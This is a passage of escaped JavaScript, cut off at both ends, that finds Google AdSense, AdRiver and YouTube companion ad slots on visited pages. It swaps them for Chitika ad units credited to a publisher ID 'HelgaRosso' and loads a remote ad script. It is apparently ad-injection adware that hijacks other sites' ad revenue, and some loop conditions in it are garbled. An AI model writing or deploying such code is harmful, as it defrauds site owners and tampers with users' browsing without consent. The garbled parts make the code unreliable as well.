block.getElementsByClassName('adSpot')[0]||block.getElementsByClassName('frame')[0];\ }\ }\ \ if (!place) return;\ \ var ad = config.get();\ if (!ad) return;\ \ place.innerHTML = ad;\ };\ \ setTimeout(replaceAd, 500);\ })();\ \ (function(){\ var config = function() {\ var dimensions = {\ '120x600':{w:120,h:600},\ '160x600':{w:160,h:600},\ '200x200':{w:200,h:200},\ '250x250':{w:250,h:250},\ '300x250':{w:300,h:250},\ '300x600':{w:300,h:600},\ '336x280':{w:336,h:280},\ '468x60':{w:468,h:60},\ '580x400':{w:580,h:400},\ '728x90':{w:728,h:90},\ '970x90':{w:970,h:90}\ };\ \ return {\ get: function(w, h) {\ var dim = w+'x'+h;\ if (!dimensions[dim]) return null;\ \ return dimensions[dim];\ }\ };\ }();\ \ var replaceRetries = 0;\ var findAds = function(){\ var oldAdsenseItems = [],\ newAdsenseItems = [],\ adriverItems = [],\ processed = 0,\ ins = document.getElementsByTagName('ins');\ \ for (var i=0; i= 0) {\ newAdsenseItems.push(item);\ continue;\ }\ }\ \ i = 1;\ while (item = document.getElementById('ad_ph_'+i++)) {\ if (item.firstElementChild && (item.firstElementChild.tagName == 'IFRAME' || item.firstElementChild.tagName == 'TABLE')) {\ adriverItems.push(item);\ }\ }\ \ if (oldAdsenseItems.length > 0) {\ while (item = oldAdsenseItems.shift()) replaceOldAdsense(item) && processed++;\ }\ \ if (newAdsenseItems.length > 0) {\ while (item = newAdsenseItems.shift()) replaceNewAdsense(item) && processed++;\ }\ \ if (adriverItems.length > 0) {\ while (item = adriverItems.shift()) replaceAdriver(item) && processed++;\ }\ \ if (processed) {\ runAds();\ replaceRetries = 0;\ }\ \ if (++replaceRetries <= 10) {\ setTimeout(findAds, 500);\ }\ };\ \ var replaceOldAdsense = function(item) {\ var element = item,\ initScript = null;\ \ while (element = element.previousElementSibling) {\ if (element.nodeName.toLowerCase() !== 'script') {\ continue;\ }\ \ if (element.text.indexOf('google_ad_client') >= 0) {\ initScript = element;\ break;\ }\ }\ if (!initScript) return false;\ \ var text = initScript.text,\ width = text.match(/google_ad_width\s*=\s*(\d+)/),\ height = text.match(/google_ad_height\s*=\s*(\d+)/);\ if (!width || !height) return false;\ \ var w = width[1],\ h = height[1];\ \ var ad = createAd(w, h);\ if (!ad) return false;\ \ item.parentNode.replaceChild(ad, item);\ \ return true;\ };\ \ var replaceNewAdsense = function(item) {\ var cs = getComputedStyle(item),\ w = parseInt(cs.width),\ h = parseInt(cs.height);\ \ var ad = createAd(w, h);\ if (!ad) return false;\ \ item.parentNode.replaceChild(ad, item);\ \ return true;\ };\ \ var replaceAdriver = function(item) {\ var w = parseInt(item.style.width),\ h = parseInt(item.style.height);\ \ var ad = createAd(w, h);\ if (!ad) return false;\ \ item.parentNode.replaceChild(ad, item);\ \ return true;\ };\ \ var replaceYoutube = function(){\ var place = document.getElementById('google_companion_ad_div');\ if (!place) return;\ \ var ad = createAd(300, 250);\ if (!ad) return false;\ \ place.parentNode.replaceChild(ad, place);\ runAds();\ \ return true;\ };\ \ var createAd = function(w, h) {\ var dimensions = config.get(w, h);\ if (!dimensions) return null;\ \ if (window.CHITIKA === undefined) {\ window.CHITIKA = {'units':[]};\ }\ \ var unit = {'calltype':'async[2]','publisher':'HelgaRosso','width':dimensions.w,'height':dimensions.h,'sid':'Chitika Default'};\ var placement_id = window.CHITIKA.units.length;\ window.CHITIKA.units.push(unit);\ \ var ad = document.createElement('div');\ ad.id = 'chitikaAdBlock-' + placement_id;\ \ return ad;\ };\ \ var runAds = function() {\ var script = document.createElement('script');\ script.src = '//cdn.chitika.net/getads.js';\ script.async = true;\ document.body.appendChild(script);\ document.body.removeChild(script);\ };\ \ if (window.location.host === 'www.youtube.com') {\ if (window.location.href.indexOf('www.youtube.com/watch?') > 0) {\ setTimeout(replaceYoutube, 0);\ }\ } else {\ setTimeout(findAds, 1000);\ }\ })();\ \ (function(){\ var checkDimensions = function(w, h){\ var dim = w+'x'+h;\ if (['120x600', '160x585', '160x600', '160x1000', '234x60', '250x250', '260x340', '300x250', '300x600', '314x90', '315x300', '400x400', '468x60', '480x60', '560x70', '610x60', '650x60', '728x90', '940x150', '950x250', '1000x150'].indexOf(dim) !== -1) {\ return true;\ }\ \ return false;\ };\ \ var findAd = function(){\ var iframes = document.getElementsByTagName('iframe');\ \ for (var i=0; i